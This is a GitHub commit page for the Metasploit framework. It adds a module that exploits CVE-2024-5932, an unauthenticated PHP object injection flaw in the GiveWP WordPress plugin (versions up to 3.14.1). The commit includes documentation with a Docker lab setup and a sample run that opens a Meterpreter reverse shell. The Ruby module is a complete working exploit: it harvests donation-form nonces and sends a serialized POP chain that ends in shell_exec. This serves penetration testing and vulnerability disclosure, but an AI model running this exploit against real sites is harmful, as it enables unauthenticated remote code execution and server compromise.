-
Notifications
You must be signed in to change notification settings - Fork 14.1k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Land #19424, WordPress GiveWP Plugin RCE
- Loading branch information
Showing
3 changed files
with
266 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -62,3 +62,4 @@ file-manager-advanced-shortcode | |
royal-elementor-addons | ||
backup-backup | ||
hash-form | ||
give |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,94 @@ | ||
## Vulnerable Application | ||
|
||
This Metasploit module exploits an unauthenticated PHP Object Injection vulnerability in the | ||
GiveWP plugin for WordPress (versions <= 3.14.1). | ||
The vulnerability is present in the 'give_title' parameter, allowing attackers to inject a crafted | ||
PHP object leading to remote code execution (RCE) when combined with a suitable POP chain. | ||
|
||
## Setup | ||
|
||
1. **Docker Compose Setup**: Create the following `docker-compose.yml` file to set up a vulnerable WordPress environment: | ||
|
||
```yaml | ||
services: | ||
db: | ||
image: mysql:8.0.27 | ||
command: '--default-authentication-plugin=mysql_native_password' | ||
restart: always | ||
environment: | ||
- MYSQL_ROOT_PASSWORD=somewordpress | ||
- MYSQL_DATABASE=wordpress | ||
- MYSQL_USER=wordpress | ||
- MYSQL_PASSWORD=wordpress | ||
expose: | ||
- 3306 | ||
- 33060 | ||
|
||
wordpress: | ||
image: wordpress:6.3.2 | ||
ports: | ||
- "80:80" | ||
restart: always | ||
environment: | ||
- WORDPRESS_DB_HOST=db | ||
- WORDPRESS_DB_USER=wordpress | ||
- WORDPRESS_DB_PASSWORD=wordpress | ||
- WORDPRESS_DB_NAME=wordpress | ||
volumes: | ||
db_data: | ||
``` | ||
1. Run Docker: `docker compose up` | ||
1. Access the WordPress instance at `http://127.0.0.1` and complete the installation process | ||
1. **Download and Install Vulnerable GiveWP Plugin**: | ||
- Download the plugin: [GiveWP 3.14.1](https://downloads.wordpress.org/plugin/give.3.14.1.zip) | ||
- Unzip the plugin and copy it to the Docker container: | ||
```bash | ||
docker compose cp give wordpress:/var/www/html/wp-content/plugins | ||
``` | ||
- Access the WordPress instance at `http://localhost` and activate the GiveWP plugin via the admin dashboard. | ||
|
||
1. **Create a Donation Form**: | ||
- Navigate to the "Forms" section within the GiveWP plugin and click on "Add Form." | ||
- Select any form. | ||
- Configure the form as needed, publish it. | ||
|
||
## Options | ||
|
||
No specific options need to be configured. | ||
|
||
## Verification Steps | ||
|
||
1. Start `msfconsole`. | ||
2. Use the module with `use exploit/multi/http/wp_givewp_rce`. | ||
3. Set `RHOSTS`, `RPORT`, and the necessary WordPress-specific options. | ||
4. Run the exploit. | ||
5. Gain a Meterpreter session. | ||
|
||
## Scenarios | ||
|
||
### GiveWP Plugin version: 3.14.1 (Dockerized WordPress Version 6.3.2) | ||
|
||
Using `cmd/linux/http/x64/meterpreter/reverse_tcp`: | ||
|
||
```bash | ||
msf6 > use exploit/multi/http/wp_givewp_rce | ||
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp | ||
msf6 exploit(multi/http/wp_givewp_rce) > run http://127.0.0.1:8888 | ||
[*] Started reverse TCP handler on 192.168.1.36:4444 | ||
[*] Running automatic check ("set AutoCheck false" to disable) | ||
[*] WordPress Version: 6.3.2 | ||
[+] Detected GiveWP Plugin version: 3.14.1 | ||
[+] The target appears to be vulnerable. | ||
[+] Successfully retrieved form list. Available Form IDs: 8, 10, 13 | ||
[*] Using Form ID: 13 for exploitation. | ||
[*] Sending stage (3045380 bytes) to 172.24.0.3 | ||
[*] Meterpreter session 1 opened (192.168.1.36:4444 -> 172.24.0.3:51272) at 2024-08-27 22:11:22 +0200 | ||
meterpreter > sysinfo | ||
Computer : 172.24.0.3 | ||
OS : Debian 11.8 (Linux 5.15.0-119-generic) | ||
Architecture : x64 | ||
BuildTuple : x86_64-linux-musl | ||
Meterpreter : x64/linux | ||
``` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,171 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Exploit::Remote | ||
Rank = ExcellentRanking | ||
|
||
include Msf::Exploit::Remote::HttpClient | ||
include Msf::Exploit::Remote::HTTP::Wordpress | ||
prepend Msf::Exploit::Remote::AutoCheck | ||
|
||
def initialize(info = {}) | ||
super( | ||
update_info( | ||
info, | ||
'Name' => 'GiveWP Unauthenticated Donation Process Exploit', | ||
'Description' => %q{ | ||
The GiveWP Donation Plugin and Fundraising Platform plugin for WordPress in all versions up to and including 3.14.1 is vulnerable to a PHP Object Injection (POI) attack granting an unauthenticated arbitrary code execution. | ||
}, | ||
|
||
'License' => MSF_LICENSE, | ||
'Author' => [ | ||
'Villu Orav', # Initial Discovery | ||
'EQSTSeminar', # Proof of Concept | ||
'Julien Ahrens', # Vulnerability Analysis | ||
'Valentin Lobstein' # Metasploit Module | ||
], | ||
'References' => [ | ||
['CVE', '2024-5932'], | ||
['URL', 'https://github.com/EQSTSeminar/CVE-2024-5932'], | ||
['URL', 'https://www.rcesecurity.com/2024/08/wordpress-givewp-pop-to-rce-cve-2024-5932'], | ||
['URL', 'https://www.wordfence.com/blog/2024/08/4998-bounty-awarded-and-100000-wordpress-sites-protected-against-unauthenticated-remote-code-execution-vulnerability-patched-in-givewp-wordpress-plugin'] | ||
], | ||
'DisclosureDate' => '2024-08-25', | ||
'Platform' => %w[unix linux win], | ||
'Arch' => [ARCH_CMD], | ||
'Privileged' => false, | ||
'Targets' => [ | ||
[ | ||
'Unix/Linux Command Shell', | ||
{ | ||
'Platform' => %w[unix linux], | ||
'Arch' => ARCH_CMD | ||
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp | ||
} | ||
], | ||
[ | ||
'Windows Command Shell', | ||
{ | ||
'Platform' => 'win', | ||
'Arch' => ARCH_CMD | ||
# tested with cmd/windows/http/x64/meterpreter/reverse_tcp | ||
} | ||
] | ||
], | ||
'DefaultTarget' => 0, | ||
'Notes' => { | ||
'Stability' => [CRASH_SAFE], | ||
'Reliability' => [REPEATABLE_SESSION], | ||
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] | ||
} | ||
) | ||
) | ||
end | ||
|
||
def check | ||
return CheckCode::Unknown unless wordpress_and_online? | ||
|
||
print_status("WordPress Version: #{wordpress_version}") if wordpress_version | ||
check_code = check_plugin_version_from_readme('give', '3.14.2') | ||
return CheckCode::Safe unless check_code.code == 'appears' | ||
|
||
print_good("Detected GiveWP Plugin version: #{check_code.details[:version]}") | ||
CheckCode::Appears | ||
end | ||
|
||
def exploit | ||
forms = fetch_form_list | ||
fail_with(Failure::UnexpectedReply, 'No forms found.') if forms.empty? | ||
|
||
selected_form = forms.sample | ||
valid_form = retrieve_and_analyze_form(selected_form['id']) | ||
|
||
return print_error('Failed to retrieve a valid form for exploitation.') unless valid_form | ||
|
||
print_status("Using Form ID: #{valid_form['give_form_id']} for exploitation.") | ||
send_exploit_request( | ||
valid_form['give_form_id'], | ||
valid_form['give_form_hash'], | ||
valid_form['give_price_id'], | ||
valid_form['give_amount'] | ||
) | ||
end | ||
|
||
def fetch_form_list | ||
res = send_request_cgi( | ||
'method' => 'POST', | ||
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'), | ||
'data' => 'action=give_form_search' | ||
) | ||
|
||
return print_error('Failed to retrieve form list.') unless res&.code == 200 | ||
|
||
forms = JSON.parse(res.body) | ||
form_ids = forms.map { |form| form['id'] }.sort | ||
|
||
print_good("Successfully retrieved form list. Available Form IDs: #{form_ids.join(', ')}") | ||
forms | ||
end | ||
|
||
def retrieve_and_analyze_form(form_id) | ||
form_res = send_request_cgi( | ||
'method' => 'POST', | ||
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'), | ||
'vars_post' => { 'action' => 'give_donation_form_nonce', 'give_form_id' => form_id } | ||
) | ||
|
||
return unless form_res&.code == 200 | ||
|
||
form_data = JSON.parse(form_res.body) | ||
give_form_id = form_id | ||
give_form_hash = form_data['data'] | ||
give_price_id = '0' | ||
give_amount = '$10.00' | ||
# Somehow, can't randomize give_price_id and give_amount otherwise the exploit won't work. | ||
|
||
return unless give_form_hash | ||
|
||
{ | ||
'give_form_id' => give_form_id, | ||
'give_form_hash' => give_form_hash, | ||
'give_price_id' => give_price_id, | ||
'give_amount' => give_amount | ||
} | ||
end | ||
|
||
def send_exploit_request(give_form_id, give_form_hash, give_price_id, give_amount) | ||
final_payload = format( | ||
'O:19:"Stripe\\\\\\\\StripeObject":1:{s:10:"\\0*\\0_values";a:1:{s:3:"foo";' \ | ||
'O:62:"Give\\\\\\\\PaymentGateways\\\\\\\\DataTransferObjects\\\\\\\\GiveInsertPaymentData":1:{' \ | ||
's:8:"userInfo";a:1:{s:7:"address";O:4:"Give":1:{s:12:"\\0*\\0container";' \ | ||
'O:33:"Give\\\\\\\\Vendors\\\\\\\\Faker\\\\\\\\ValidGenerator":3:{s:12:"\\0*\\0validator";' \ | ||
's:10:"shell_exec";s:12:"\\0*\\0generator";' \ | ||
'O:34:"Give\\\\\\\\Onboarding\\\\\\\\SettingsRepository":1:{' \ | ||
's:11:"\\0*\\0settings";a:1:{s:8:"address1";s:%<length>d:"%<encoded>s";}}' \ | ||
's:13:"\\0*\\0maxRetries";i:10;}}}}}}', | ||
length: payload.encoded.length, | ||
encoded: payload.encoded | ||
) | ||
|
||
data = { | ||
'give-form-id' => give_form_id, | ||
'give-form-hash' => give_form_hash, | ||
'give-price-id' => give_price_id, | ||
'give-amount' => give_amount, | ||
'give_first' => Faker::Name.first_name, | ||
'give_last' => Faker::Name.last_name, | ||
'give_email' => Faker::Internet.email, | ||
'give_title' => final_payload, | ||
'give-gateway' => 'offline', | ||
'action' => 'give_process_donation' | ||
} | ||
|
||
send_request_cgi({ | ||
'method' => 'POST', | ||
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'), | ||
'data' => URI.encode_www_form(data) | ||
}, 0) | ||
end | ||
end |